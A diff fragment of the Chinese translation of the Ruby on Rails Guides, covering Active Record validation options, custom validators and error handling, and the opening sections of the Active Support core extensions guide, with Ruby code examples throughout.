代码块的参数是记录、属性名和属性值。在代码块中可以做任何检查,确保数据有效。如果验证失败,应该向模型添加一个错误消息,把数据标记为无效。

3 常用的验证选项

下面介绍常用的验证选项。

3.1 :allow_nil +

指定 :allow_nil 选项后,如果要验证的值为 nil 就跳过验证。

+
+class Coffee < ApplicationRecord
+  validates :size, inclusion: { in: %w(small medium large),
+    message: "%{value} is not a valid size" }, allow_nil: true
+end
+
+
+
+

:message 选项的完整参数参见 :message

3.2 :allow_blank +

:allow_blank 选项和 :allow_nil 选项类似。如果要验证的值为空(调用 blank? 方法判断,例如 nil 或空字符串),就跳过验证。

+
+class Topic < ApplicationRecord
+  validates :title, length: { is: 5 }, allow_blank: true
+end
+
+Topic.create(title: "").valid?  # => true
+Topic.create(title: nil).valid? # => true
+
+
+
+

3.3 :message +

前面已经介绍过,如果验证失败,会把 :message 选项指定的字符串添加到 errors 集合中。如果没指定这个选项,Active Record 使用各个验证辅助方法的默认错误消息。:message 选项的值是一个字符串或一个 Proc 对象。

字符串消息中可以包含 %{value}%{attribute}%{model},在验证失败时它们会被替换成具体的值。替换通过 I18n gem 实现,而且占位符必须精确匹配,不能有空格。

Proc 形式的消息有两个参数:验证的对象,以及包含 :model:attribute:value 键值对的散列。

+
+class Person < ApplicationRecord
+  # 直接写消息
+  validates :name, presence: { message: "must be given please" }
+
+  # 带有动态属性值的消息。%{value} 会被替换成属性的值
+  # 此外还可以使用 %{attribute} 和 %{model}
+  validates :age, numericality: { message: "%{value} seems wrong" }
+
+  # Proc
+  validates :username,
+    uniqueness: {
+      # object = 要验证的 person 对象
+      # data = { model: "Person", attribute: "Username", value: <username> }
+      message: ->(object, data) do
+        "Hey #{object.name}!, #{data[:value]} is taken already! Try again #{Time.zone.tomorrow}"
+      end
+    }
+end
+
+
+
+

3.4 :on +

:on 选项指定什么时候验证。所有内置的验证辅助方法默认都在保存时(新建记录或更新记录)验证。如果想修改,可以使用 on: :create,指定只在创建记录时验证;或者使用 on: :update,指定只在更新记录时验证。

+
+class Person < ApplicationRecord
+  # 更新时允许电子邮件地址重复
+  validates :email, uniqueness: true, on: :create
+
+  # 创建记录时允许年龄不是数字
+  validates :age, numericality: true, on: :update
+
+  # 默认行为(创建和更新时都验证)
+  validates :name, presence: true
+end
+
+
+
+

此外,还可以使用 on: 定义自定义的上下文。必须把上下文的名称传给 valid?invalid?save 才能触发自定义的上下文。

+
+class Person < ApplicationRecord
+  validates :email, uniqueness: true, on: :account_setup
+  validates :age, numericality: true, on: :account_setup
+end
+
+person = Person.new
+
+
+
+

person.valid?(:account_setup) 会执行上述两个验证,但不保存记录。person.save(context: :account_setup) 在保存之前在 account_setup 上下文中验证 person。显式触发时,可以只使用某个上下文验证,也可以不使用某个上下文验证。

4 严格验证

数据验证还可以使用严格模式,当对象无效时抛出 ActiveModel::StrictValidationFailed 异常。

+
+class Person < ApplicationRecord
+  validates :name, presence: { strict: true }
+end
+
+Person.new.valid?  # => ActiveModel::StrictValidationFailed: Name can't be blank
+
+
+
+

还可以通过 :strict 选项指定抛出什么异常:

+
+class Person < ApplicationRecord
+  validates :token, presence: true, uniqueness: true, strict: TokenGenerationException
+end
+
+Person.new.valid?  # => TokenGenerationException: Token can't be blank
+
+
+
+

5 条件验证

有时,只有满足特定条件时做验证才说得通。条件可通过 :if:unless 选项指定,这两个选项的值可以是符号、字符串、Proc 或数组。:if 选项指定何时做验证。如果要指定何时不做验证,使用 :unless 选项。

5.1 使用符号

:if:unless 选项的值为符号时,表示要在验证之前执行对应的方法。这是最常用的设置方法。

+
+class Order < ApplicationRecord
+  validates :card_number, presence: true, if: :paid_with_card?
+
+  def paid_with_card?
+    payment_type == "card"
+  end
+end
+
+
+
+

5.2 使用 Proc

:if and :unless 选项的值还可以是 Proc。使用 Proc 对象可以在行间编写条件,不用定义额外的方法。这种形式最适合用在一行代码能表示的条件上。

+
+class Account < ApplicationRecord
+  validates :password, confirmation: true,
+    unless: Proc.new { |a| a.password.blank? }
+end
+
+
+
+

5.3 条件组合

有时,同一个条件会用在多个验证上,这时可以使用 with_options 方法:

+
+class User < ApplicationRecord
+  with_options if: :is_admin? do |admin|
+    admin.validates :password, length: { minimum: 10 }
+    admin.validates :email, presence: true
+  end
+end
+
+
+
+

with_options 代码块中的所有验证都会使用 if: :is_admin? 这个条件。

5.4 联合条件

另一方面,如果是否做某个验证要满足多个条件时,可以使用数组。而且,一个验证可以同时指定 :if:unless 选项。

+
+class Computer < ApplicationRecord
+  validates :mouse, presence: true,
+                    if: ["market.retail?", :desktop?],
+                    unless: Proc.new { |c| c.trackpad.present? }
+end
+
+
+
+

只有当 :if 选项的所有条件都返回 true,且 :unless 选项中的条件返回 false 时才会做验证。

6 自定义验证

如果内置的数据验证辅助方法无法满足需求,可以选择自己定义验证使用的类或方法。

6.1 自定义验证类

自定义的验证类继承自 ActiveModel::Validator,必须实现 validate 方法,其参数是要验证的记录,然后验证这个记录是否有效。自定义的验证类通过 validates_with 方法调用。

+
+class MyValidator < ActiveModel::Validator
+  def validate(record)
+    unless record.name.starts_with? 'X'
+      record.errors[:name] << 'Need a name starting with X please!'
+    end
+  end
+end
+
+class Person
+  include ActiveModel::Validations
+  validates_with MyValidator
+end
+
+
+
+

在自定义的验证类中验证单个属性,最简单的方法是继承 ActiveModel::EachValidator 类。此时,自定义的验证类必须实现 validate_each 方法。这个方法接受三个参数:记录、属性名和属性值。它们分别对应模型实例、要验证的属性及其值。

+
+class EmailValidator < ActiveModel::EachValidator
+  def validate_each(record, attribute, value)
+    unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
+      record.errors[attribute] << (options[:message] || "is not an email")
+    end
+  end
+end
+
+class Person < ApplicationRecord
+  validates :email, presence: true, email: true
+end
+
+
+
+

如上面的代码所示,可以同时使用内置的验证方法和自定义的验证类。

6.2 自定义验证方法

你还可以自定义方法,验证模型的状态,如果验证失败,向 erros 集合添加错误消息。验证方法必须使用类方法 validateAPI)注册,传入自定义验证方法名的符号形式。

这个类方法可以接受多个符号,自定义的验证方法会按照注册的顺序执行。

valid? 方法会验证错误集合是否为空,因此若想让验证失败,自定义的验证方法要把错误添加到那个集合中。

+
+class Invoice < ApplicationRecord
+  validate :expiration_date_cannot_be_in_the_past,
+    :discount_cannot_be_greater_than_total_value
+
+  def expiration_date_cannot_be_in_the_past
+    if expiration_date.present? && expiration_date < Date.today
+      errors.add(:expiration_date, "can't be in the past")
+    end
+  end
+
+  def discount_cannot_be_greater_than_total_value
+    if discount > total_value
+      errors.add(:discount, "can't be greater than total value")
+    end
+  end
+end
+
+
+
+

默认情况下,每次调用 valid? 方法或保存对象时都会执行自定义的验证方法。不过,使用 validate 方法注册自定义验证方法时可以设置 :on 选项,指定什么时候验证。:on 的可选值为 :create:update

+
+class Invoice < ApplicationRecord
+  validate :active_customer, on: :create
+
+  def active_customer
+    errors.add(:customer_id, "is not active") unless customer.active?
+  end
+end
+
+
+
+

7 处理验证错误

除了前面介绍的 valid?invalid? 方法之外,Rails 还提供了很多方法用来处理 errors 集合,以及查询对象的有效性。

下面介绍其中一些最常用的方法。所有可用的方法请查阅 ActiveModel::Errors 的文档。

7.1 errors +

ActiveModel::Errors 的实例包含所有的错误。键是每个属性的名称,值是一个数组,包含错误消息字符串。

+
+class Person < ApplicationRecord
+  validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.messages
+ # => {:name=>["can't be blank", "is too short (minimum is 3 characters)"]}
+
+person = Person.new(name: "John Doe")
+person.valid? # => true
+person.errors.messages # => {}
+
+
+
+

7.2 errors[] +

errors[] 用于获取某个属性上的错误消息,返回结果是一个由该属性所有错误消息字符串组成的数组,每个字符串表示一个错误消息。如果字段上没有错误,则返回空数组。

+
+class Person < ApplicationRecord
+  validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new(name: "John Doe")
+person.valid? # => true
+person.errors[:name] # => []
+
+person = Person.new(name: "JD")
+person.valid? # => false
+person.errors[:name] # => ["is too short (minimum is 3 characters)"]
+
+person = Person.new
+person.valid? # => false
+person.errors[:name]
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+
+
+
+

7.3 errors.add +

add 方法用于手动添加某属性的错误消息,它的参数是属性和错误消息。

使用 errors.full_messages(或等价的 errors.to_a)方法以对用户友好的格式显示错误消息。这些错误消息的前面都会加上属性名(首字母大写),如下述示例所示。

+
+class Person < ApplicationRecord
+  def a_method_used_for_validation_purposes
+    errors.add(:name, "cannot contain the characters !@#%*()_-+=")
+  end
+end
+
+person = Person.create(name: "!@#")
+
+person.errors[:name]
+ # => ["cannot contain the characters !@#%*()_-+="]
+
+person.errors.full_messages
+ # => ["Name cannot contain the characters !@#%*()_-+="]
+
+
+
+

<< 的作用与 errors#add 一样:把一个消息追加到 errors.messages 数组中。

+
+class Person < ApplicationRecord
+  def a_method_used_for_validation_purposes
+    errors.messages[:name] << "cannot contain the characters !@#%*()_-+="
+  end
+end
+
+person = Person.create(name: "!@#")
+
+person.errors[:name]
+ # => ["cannot contain the characters !@#%*()_-+="]
+
+person.errors.to_a
+ # => ["Name cannot contain the characters !@#%*()_-+="]
+
+
+
+

7.4 errors.details +

使用 errors.add 方法可以为返回的错误详情散列指定验证程序类型。

+
+class Person < ApplicationRecord
+  def a_method_used_for_validation_purposes
+    errors.add(:name, :invalid_characters)
+  end
+end
+
+person = Person.create(name: "!@#")
+
+person.errors.details[:name]
+# => [{error: :invalid_characters}]
+
+
+
+

如果想提升错误详情的信息量,可以为 errors.add 方法提供额外的键,指定不允许的字符。

+
+class Person < ApplicationRecord
+  def a_method_used_for_validation_purposes
+    errors.add(:name, :invalid_characters, not_allowed: "!@#%*()_-+=")
+  end
+end
+
+person = Person.create(name: "!@#")
+
+person.errors.details[:name]
+# => [{error: :invalid_characters, not_allowed: "!@#%*()_-+="}]
+
+
+
+

Rails 内置的验证程序生成的错误详情散列都有对应的验证程序类型。

7.5 errors[:base] +

错误消息可以添加到整个对象上,而不是针对某个属性。如果不想管是哪个属性导致对象无效,只想把对象标记为无效状态,就可以使用这个方法。errors[:base] 是个数组,可以添加字符串作为错误消息。

+
+class Person < ApplicationRecord
+  def a_method_used_for_validation_purposes
+    errors[:base] << "This person is invalid because ..."
+  end
+end
+
+
+
+

7.6 errors.clear +

如果想清除 errors 集合中的所有错误消息,可以使用 clear 方法。当然,在无效的对象上调用 errors.clear 方法后,对象还是无效的,虽然 errors 集合为空了,但下次调用 valid? 方法,或调用其他把对象存入数据库的方法时, 会再次进行验证。如果任何一个验证失败了,errors 集合中就再次出现值了。

+
+class Person < ApplicationRecord
+  validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors[:name]
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+
+person.errors.clear
+person.errors.empty? # => true
+
+person.save # => false
+
+person.errors[:name]
+# => ["can't be blank", "is too short (minimum is 3 characters)"]
+
+
+
+

7.7 errors.size +

size 方法返回对象上错误消息的总数。

+
+class Person < ApplicationRecord
+  validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.size # => 2
+
+person = Person.new(name: "Andrea", email: "andrea@example.com")
+person.valid? # => true
+person.errors.size # => 0
+
+
+
+

8 在视图中显示验证错误

在模型中加入数据验证后,如果在表单中创建模型,出错时,你或许想把错误消息显示出来。

因为每个应用显示错误消息的方式不同,所以 Rails 没有直接提供用于显示错误消息的视图辅助方法。不过,Rails 提供了这么多方法用来处理验证,自己编写一个也不难。使用脚手架时,Rails 会在生成的 _form.html.erb 中加入一些 ERB 代码,显示模型错误消息的完整列表。

假如有个模型对象存储在实例变量 @article 中,视图的代码可以这么写:

+
+<% if @article.errors.any? %>
+  <div id="error_explanation">
+    <h2><%= pluralize(@article.errors.count, "error") %> prohibited this article from being saved:</h2>
+
+    <ul>
+    <% @article.errors.full_messages.each do |msg| %>
+      <li><%= msg %></li>
+    <% end %>
+    </ul>
+  </div>
+<% end %>
+
+
+
+

此外,如果使用 Rails 的表单辅助方法生成表单,如果某个表单字段验证失败,会把字段包含在一个 <div> 中:

+
+<div class="field_with_errors">
+  <input id="article_title" name="article[title]" size="30" type="text" value="">
+</div>
+
+
+
+

然后,你可以根据需求为这个 div 添加样式。脚手架默认添加的 CSS 规则如下:

+
+.field_with_errors {
+  padding: 2px;
+  background-color: red;
+  display: table;
+}
+
+
+
+

上述样式把所有出错的表单字段放入一个内边距为 2 像素的红色框内。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/active_support_core_extensions.html b/active_support_core_extensions.html new file mode 100644 index 0000000..393bec3 --- /dev/null +++ b/active_support_core_extensions.html @@ -0,0 +1,3263 @@ + + + + + + + +Active Support 核心扩展 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Active Support 核心扩展

Active Support 是 Ruby on Rails 的一个组件,扩展了 Ruby 语言,提供了一些实用功能。

Active Support 丰富了 Rails 使用的编程语言,目的是便于开发 Rails 应用以及 Rails 本身。

读完本文后,您将学到:

+
    +
  • 核心扩展是什么;
  • +
  • 如何加载所有扩展;
  • +
  • 如何按需加载想用的扩展;
  • +
  • Active Support 提供了哪些扩展。
  • +
+ + + + +
+
+ +
+
+
+

1 如何加载核心扩展

1.1 独立的 Active Support

为了减轻应用的负担,默认情况下 Active Support 不会加载任何功能。Active Support 中的各部分功能是相对独立的,可以只加载需要的功能,也可以方便地加载相互联系的功能,或者加载全部功能。

因此,只编写下面这个 require 语句,对象甚至无法响应 blank? 方法:

+
+require 'active_support'
+
+
+
+

我们来看一下到底应该如何加载。

1.1.1 按需加载

获取 blank? 方法最轻便的做法是按需加载其定义所在的文件。

本文为核心扩展中的每个方法都做了说明,告知是在哪个文件中定义的。对 blank? 方法而言,说明如下:

active_support/core_ext/object/blank.rb 文件中定义。

因此 blank? 方法要这么加载:

+
+require 'active_support'
+require 'active_support/core_ext/object/blank'
+
+
+
+

Active Support 的设计方式精良,确保按需加载时真的只加载所需的扩展。

1.1.2 成组加载核心扩展

下一层级是加载 Object 对象的所有扩展。一般来说,对 SomeClass 的扩展都保存在 active_support/core_ext/some_class 文件夹中。

因此,加载 Object 对象的所有扩展(包括 balnk? 方法)可以这么做:

+
+require 'active_support'
+require 'active_support/core_ext/object'
+
+
+
+

1.1.3 加载所有扩展

如果想加载所有核心扩展,可以这么做:

+
+require 'active_support'
+require 'active_support/core_ext'
+
+
+
+

1.1.4 加载 Active Support 提供的所有功能

最后,如果想使用 Active Support 提供的所有功能,可以这么做:

+
+require 'active_support/all'
+
+
+
+

其实,这么做并不会把整个 Active Support 载入内存,有些功能通过 autoload 加载,所以真正使用时才会加载。

1.2 在 Rails 应用中使用 Active Support

除非把 config.active_support.bare 设为 true,否则 Rails 应用不会加载 Active Support 提供的所有功能。即便全部加载,应用也会根据框架的设置按需加载所需功能,而且应用开发者还可以根据需要做更细化的选择,方法如前文所述。

2 所有对象皆可使用的扩展

2.1 blank?present? +

在 Rails 应用中,下面这些值表示空值:

+
    +
  • nilfalse
  • +
  • 只有空白的字符串(注意下面的说明);
  • +
  • 空数组和空散列;
  • +
  • 其他能响应 empty? 方法,而且返回值为 true 的对象;
  • +
+

判断字符串是否为空使用的是能理解 Unicode 字符的 [:space:],所以 U+2029(分段符)会被视为空白。

注意,这里并没有提到数字。特别说明,00.0 不是空值。

例如,ActionController::HttpAuthentication::Token::ControllerMethods 定义的这个方法使用 blank? 检查是否有令牌:

+
+def authenticate(controller, &login_procedure)
+  token, options = token_and_options(controller.request)
+  unless token.blank?
+    login_procedure.call(token, options)
+  end
+end
+
+
+
+

present? 方法等价于 !blank?。下面这个方法摘自 ActionDispatch::Http::Cache::Response

+
+def set_conditional_cache_control!
+  return if self["Cache-Control"].present?
+  ...
+end
+
+
+
+

active_support/core_ext/object/blank.rb 文件中定义。

2.2 presence +

如果 present? 方法返回 truepresence 方法的返回值为调用对象,否则返回 nil。惯用法如下:

+
+host = config[:host].presence || 'localhost'
+
+
+
+

active_support/core_ext/object/blank.rb 文件中定义。

2.3 duplicable? +

Ruby 中很多基本的对象是单例。例如,在应用的整个生命周期内,整数 1 始终表示同一个实例:

+
+1.object_id                 # => 3
+Math.cos(0).to_i.object_id  # => 3
+
+
+
+

因此,这些对象无法通过 dupclone 方法复制:

+
+true.dup  # => TypeError: can't dup TrueClass
+
+
+
+

有些数字虽然不是单例,但也不能复制:

+
+0.0.clone        # => allocator undefined for Float
+(2**1024).clone  # => allocator undefined for Bignum
+
+
+
+

Active Support 提供的 duplicable? 方法用于查询对象是否可以复制:

+
+"foo".duplicable? # => true
+"".duplicable?    # => true
+0.0.duplicable?   # => false
+false.duplicable? # => false
+
+
+
+

按照定义,除了 nilfalsetrue、符号、数字、类、模块和方法对象之外,其他对象都可以复制。

任何类都可以禁止对象复制,只需删除 dupclone 两个方法,或者在这两个方法中抛出异常。因此只能在 rescue 语句中判断对象是否可复制。duplicable? 方法直接检查对象是否在上述列表中,因此比 rescue 的速度快。仅当你知道上述列表能满足需求时才应该使用 duplicable? 方法。

active_support/core_ext/object/duplicable.rb 文件中定义。

2.4 deep_dup +

deep_dup 方法深拷贝指定的对象。一般情况下,复制包含其他对象的对象时,Ruby 不会复制内部对象,这叫做浅拷贝。假如有一个由字符串组成的数组,浅拷贝的行为如下:

+
+array     = ['string']
+duplicate = array.dup
+
+duplicate.push 'another-string'
+
+# 创建了对象副本,因此元素只添加到副本中
+array     # => ['string']
+duplicate # => ['string', 'another-string']
+
+duplicate.first.gsub!('string', 'foo')
+
+# 第一个元素没有副本,因此两个数组都会变
+array     # => ['foo']
+duplicate # => ['foo', 'another-string']
+
+
+
+

如上所示,复制数组后得到了一个新对象,修改新对象后原对象没有变化。但对数组中的元素来说情况就不一样了。因为 dup 方法不是深拷贝,所以数组中的字符串是同一个对象。

如果想深拷贝一个对象,应该使用 deep_dup 方法。举个例子:

+
+array     = ['string']
+duplicate = array.deep_dup
+
+duplicate.first.gsub!('string', 'foo')
+
+array     # => ['string']
+duplicate # => ['foo']
+
+
+
+

如果对象不可复制,deep_dup 方法直接返回对象本身:

+
+number = 1
+duplicate = number.deep_dup
+number.object_id == duplicate.object_id   # => true
+
+
+
+

active_support/core_ext/object/deep_dup.rb 文件中定义。

2.5 try +

如果只想当对象不为 nil 时在其上调用方法,最简单的方式是使用条件语句,但这么做把代码变复杂了。你可以使用 try 方法。try 方法和 Object#send 方法类似,但如果在 nil 上调用,返回值为 nil

举个例子:

+
+# 不使用 try
+unless @number.nil?
+  @number.next
+end
+
+# 使用 try
+@number.try(:next)
+
+
+
+

下面这个例子摘自 ActiveRecord::ConnectionAdapters::AbstractAdapter,实例变量 @logger 有可能为 nil。可以看出,使用 try 方法可以避免不必要的检查。

+
+def log_info(sql, name, ms)
+  if @logger.try(:debug?)
+    name = '%s (%.1fms)' % [name || 'SQL', ms]
+    @logger.debug(format_log_entry(name, sql.squeeze(' ')))
+  end
+end
+
+
+
+

try 方法也可接受代码块,仅当对象不为 nil 时才会执行其中的代码:

+
+@person.try { |p| "#{p.first_name} #{p.last_name}" }
+
+
+
+

注意,try 会吞没没有方法错误,返回 nil。如果想避免此类问题,应该使用 try!

+
+@number.try(:nest)  # => nil
+@number.try!(:nest) # NoMethodError: undefined method `nest' for 1:Integer
+
+
+
+

active_support/core_ext/object/try.rb 文件中定义。

2.6 class_eval(*args, &block) +

使用 class_eval 方法可以在对象的单例类上下文中执行代码:

+
+class Proc
+  def bind(object)
+    block, time = self, Time.current
+    object.class_eval do
+      method_name = "__bind_#{time.to_i}_#{time.usec}"
+      define_method(method_name, &block)
+      method = instance_method(method_name)
+      remove_method(method_name)
+      method
+    end.bind(object)
+  end
+end
+
+
+
+

active_support/core_ext/kernel/singleton_class.rb 文件中定义。

2.7 acts_like?(duck) +

acts_like? 方法检查一个类的行为是否与另一个类相似。比较是基于一个简单的约定:如果在某个类中定义了下面这个方法,就说明其接口与字符串一样。

+
+def acts_like_string?
+end
+
+
+
+

这个方法只是一个标记,其定义体和返回值不影响效果。开发者可使用下面这种方式判断两个类的表现是否类似:

+
+some_klass.acts_like?(:string)
+
+
+
+

Rails 使用这种约定定义了行为与 DateTime 相似的类。

active_support/core_ext/object/acts_like.rb 文件中定义。

2.8 to_param +

Rails 中的所有对象都能响应 to_param 方法。to_param 方法的返回值表示查询字符串的值,或者 URL 片段。

默认情况下,to_param 方法直接调用 to_s 方法:

+
+7.to_param # => "7"
+
+
+
+

to_param 方法的返回值不应该转义:

+
+"Tom & Jerry".to_param # => "Tom & Jerry"
+
+
+
+

Rails 中的很多类都覆盖了这个方法。

例如,niltruefalse 返回自身。Array#to_param 在各个元素上调用 to_param 方法,然后使用 "/" 合并:

+
+[0, true, String].to_param # => "0/true/String"
+
+
+
+

注意,Rails 的路由系统在模型上调用 to_param 方法获取占位符 :id 的值。ActiveRecord::Base#to_param 返回模型的 id,不过可以在模型中重新定义。例如,按照下面的方式重新定义:

+
+class User
+  def to_param
+    "#{id}-#{name.parameterize}"
+  end
+end
+
+
+
+

效果如下:

+
+user_path(@user) # => "/users/357-john-smith"
+
+
+
+

应该让控制器知道重新定义了 to_param 方法,因为接收到上面这种请求后,params[:id] 的值为 "357-john-smith"

active_support/core_ext/object/to_param.rb 文件中定义。

2.9 to_query +

除散列之外,传入未转义的 keyto_query 方法把 to_param 方法的返回值赋值给 key,组成查询字符串。例如,重新定义了 to_param 方法:

+
+class User
+  def to_param
+    "#{id}-#{name.parameterize}"
+  end
+end
+
+
+
+

效果如下:

+
+current_user.to_query('user') # => user=357-john-smith
+
+
+
+

to_query 方法会根据需要转义键和值:

+
+account.to_query('company[name]')
+# => "company%5Bname%5D=Johnson+%26+Johnson"
+
+
+
+

因此得到的值可以作为查询字符串使用。

Array#to_query 方法在各个元素上调用 to_query 方法,键为 key[],然后使用 "&" 合并:

+
+[3.4, -45.6].to_query('sample')
+# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"
+
+
+
+

散列也响应 to_query 方法,但处理方式不一样。如果不传入参数,先在各个元素上调用 to_query(key),得到一系列键值对赋值字符串,然后按照键的顺序排列,再使用 "&" 合并:

+
+{c: 3, b: 2, a: 1}.to_query # => "a=1&b=2&c=3"
+
+
+
+

Hash#to_query 方法还有一个可选参数,用于指定键的命名空间:

+
+{id: 89, name: "John Smith"}.to_query('user')
+# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"
+
+
+
+

active_support/core_ext/object/to_query.rb 文件中定义。

2.10 with_options +

with_options 方法把一系列方法调用中的通用选项提取出来。

使用散列指定通用选项后,with_options 方法会把一个代理对象拽入代码块。在代码块中,代理对象调用的方法会转发给调用者,并合并选项。例如,如下的代码

+
+class Account < ApplicationRecord
+  has_many :customers, dependent: :destroy
+  has_many :products,  dependent: :destroy
+  has_many :invoices,  dependent: :destroy
+  has_many :expenses,  dependent: :destroy
+end
+
+
+
+

其中的重复可以使用 with_options 方法去除:

+
+class Account < ApplicationRecord
+  with_options dependent: :destroy do |assoc|
+    assoc.has_many :customers
+    assoc.has_many :products
+    assoc.has_many :invoices
+    assoc.has_many :expenses
+  end
+end
+
+
+
+

这种用法还可形成一种分组方式。假如想根据用户使用的语言发送不同的电子报,在邮件发送程序中可以根据用户的区域设置分组:

+
+I18n.with_options locale: user.locale, scope: "newsletter" do |i18n|
+  subject i18n.t :subject
+  body    i18n.t :body, user_name: user.name
+end
+
+
+
+

with_options 方法会把方法调用转发给调用者,因此可以嵌套使用。每层嵌套都会合并上一层的选项。

active_support/core_ext/object/with_options.rb 文件中定义。

2.11 对 JSON 的支持

Active Support 实现的 to_json 方法比 json gem 更好用,这是因为 HashOrderedHashProcess::Status 等类转换成 JSON 时要做特别处理。

active_support/core_ext/object/json.rb 文件中定义。

2.12 实例变量

Active Support 提供了很多便于访问实例变量的方法。

2.12.1 instance_values +

instance_values 方法返回一个散列,把实例变量的名称(不含前面的 @ 符号)映射到其值上,键是字符串:

+
+class C
+  def initialize(x, y)
+    @x, @y = x, y
+  end
+end
+
+C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
+
+
+
+

active_support/core_ext/object/instance_variables.rb 文件中定义。

2.12.2 instance_variable_names +

instance_variable_names 方法返回一个数组,实例变量的名称前面包含 @ 符号。

+
+class C
+  def initialize(x, y)
+    @x, @y = x, y
+  end
+end
+
+C.new(0, 1).instance_variable_names # => ["@x", "@y"]
+
+
+
+

active_support/core_ext/object/instance_variables.rb 文件中定义。

2.13 静默警告和异常

silence_warningsenable_warnings 方法修改各自代码块的 $VERBOSE 全局变量,代码块结束后恢复原值:

+
+silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
+
+
+
+

异常消息也可静默,使用 suppress 方法即可。suppress 方法可接受任意个异常类。如果执行代码块的过程中抛出异常,而且异常属于(kind_of?)参数指定的类,suppress 方法会静默该异常类的消息,否则抛出异常:

+
+# 如果用户锁定了,访问次数不增加也没关系
+suppress(ActiveRecord::StaleObjectError) do
+  current_user.increment! :visits
+end
+
+
+
+

active_support/core_ext/kernel/reporting.rb 文件中定义。

2.14 in? +

in? 方法测试某个对象是否在另一个对象中。如果传入的对象不能响应 include? 方法,抛出 ArgumentError 异常。

in? 方法使用举例:

+
+1.in?([1,2])        # => true
+"lo".in?("hello")   # => true
+25.in?(30..50)      # => false
+1.in?(1)            # => ArgumentError
+
+
+
+

active_support/core_ext/object/inclusion.rb 文件中定义。

3 Module 的扩展

3.1 属性

3.1.1 alias_attribute +

模型的属性有读值方法、设值方法和判断方法。alias_attribute 方法可以一次性为这三种方法创建别名。和其他创建别名的方法一样,alias_attribute 方法的第一个参数是新属性名,第二个参数是旧属性名(我是这样记的,参数的顺序和赋值语句一样):

+
+class User < ApplicationRecord
+  # 可以使用 login 指代 email 列
+  # 在身份验证代码中可以这样做
+  alias_attribute :login, :email
+end
+
+
+
+

active_support/core_ext/module/aliasing.rb 文件中定义。

3.1.2 内部属性

如果在父类中定义属性,有可能会出现命名冲突。代码库一定要注意这个问题。

Active Support 提供了 attr_internal_readerattr_internal_writerattr_internal_accessor 三个方法,其行为与 Ruby 内置的 attr_* 方法类似,但使用其他方式命名实例变量,从而减少重名的几率。

attr_internal 方法是 attr_internal_accessor 方法的别名:

+
+# 库
+class ThirdPartyLibrary::Crawler
+  attr_internal :log_level
+end
+
+# 客户代码
+class MyCrawler < ThirdPartyLibrary::Crawler
+  attr_accessor :log_level
+end
+
+
+
+

在上面的例子中,:log_level 可能不属于代码库的公开接口,只在开发过程中使用。开发者并不知道潜在的重名风险,创建了子类,并在子类中定义了 :log_level。幸好用了 attr_internal 方法才不会出现命名冲突。

默认情况下,内部变量的名字前面有个下划线,上例中的内部变量名为 @_log_level。不过可使用 Module.attr_internal_naming_format 重新设置,可以传入任何 sprintf 方法能理解的格式,开头加上 @ 符号,并在某处放入 %s(代表原变量名)。默认的设置为 "@_%s"

Rails 的代码很多地方都用到了内部属性,例如,在视图相关的代码中有如下代码:

+
+module ActionView
+  class Base
+    attr_internal :captures
+    attr_internal :request, :layout
+    attr_internal :controller, :template
+  end
+end
+
+
+
+

active_support/core_ext/module/attr_internal.rb 文件中定义。

3.1.3 模块属性

方法 mattr_readermattr_writermattr_accessor 类似于为类定义的 cattr_* 方法。其实 cattr_* 方法就是 mattr_* 方法的别名。参见 类属性

例如,依赖机制就用到了这些方法:

+
+module ActiveSupport
+  module Dependencies
+    mattr_accessor :warnings_on_first_load
+    mattr_accessor :history
+    mattr_accessor :loaded
+    mattr_accessor :mechanism
+    mattr_accessor :load_paths
+    mattr_accessor :load_once_paths
+    mattr_accessor :autoloaded_constants
+    mattr_accessor :explicitly_unloadable_constants
+    mattr_accessor :constant_watch_stack
+    mattr_accessor :constant_watch_stack_mutex
+  end
+end
+
+
+
+

active_support/core_ext/module/attribute_accessors.rb 文件中定义。

3.2 父级

3.2.1 parent +

在嵌套的具名模块上调用 parent 方法,返回包含对应常量的模块:

+
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parent # => X::Y
+M.parent       # => X::Y
+
+
+
+

如果是匿名模块或者位于顶层,parent 方法返回 Object

此时,parent_name 方法返回 nil

active_support/core_ext/module/introspection.rb 文件中定义。

3.2.2 parent_name +

在嵌套的具名模块上调用 parent_name 方法,返回包含对应常量的完全限定模块名:

+
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parent_name # => "X::Y"
+M.parent_name       # => "X::Y"
+
+
+
+

如果是匿名模块或者位于顶层,parent_name 方法返回 nil

注意,此时 parent 方法返回 Object

active_support/core_ext/module/introspection.rb 文件中定义。

3.2.3 parents +

parents 方法在调用者上调用 parent 方法,直至 Object 为止。返回的结果是一个数组,由底而上:

+
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parents # => [X::Y, X, Object]
+M.parents       # => [X::Y, X, Object]
+
+
+
+

active_support/core_ext/module/introspection.rb 文件中定义。

3.3 可达性

